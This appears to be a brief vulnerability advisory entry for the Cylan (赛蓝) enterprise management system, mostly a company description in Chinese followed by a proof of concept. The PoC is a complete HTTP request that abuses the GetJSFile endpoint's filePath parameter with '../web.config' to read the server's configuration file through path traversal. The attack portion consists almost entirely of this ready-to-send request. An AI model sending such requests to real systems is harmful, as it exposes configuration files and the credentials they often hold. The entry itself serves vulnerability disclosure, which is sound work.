赛蓝企业管理系统 GetJSFile 文件读取漏洞

2024-07-26 赛蓝企业管理系统 PoC Public

Description

深圳市赛蓝科技有限公司，具备行业领先的智能终端硬件开发能力，自主拥有的智能家居品牌“看家王”，以科技让家居更有梦想为品牌愿景，始终践行“让家居生活更智能、更便捷”的使命，坚持品质创新、用户价值为先的核心原则，致力于为用户提供智能、舒适、便捷、安全、节能的家庭智能硬件设备。 “看家王”依托于赛蓝云平台的核心优势，以移动物联网为基础，通过打造多条智能家居产业价值链条，将全方位的为智能家庭构建智能化、数字化、便捷化的生活方式。 目前，“看家王”产品线已囊括智能摄像头、台灯、自动投食机等产品线，并以先导性迅速占领市场，引领2B业务发展。产品获得欧盟RoHS环保认证，不仅在国内畅销，更远销北美、南美、欧洲等海外市场，赢得了广大消费者的一致认可，直接为国内外消费者带来便携化、数字化、智能化生活体验

PoC

GET /Utility/GetJSFile?filePath=../web.config HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_1_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.5 Safari/605.1.15

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#CylanManageSystem GetJSFile File Read Vulnerability

Related Vulnerabilities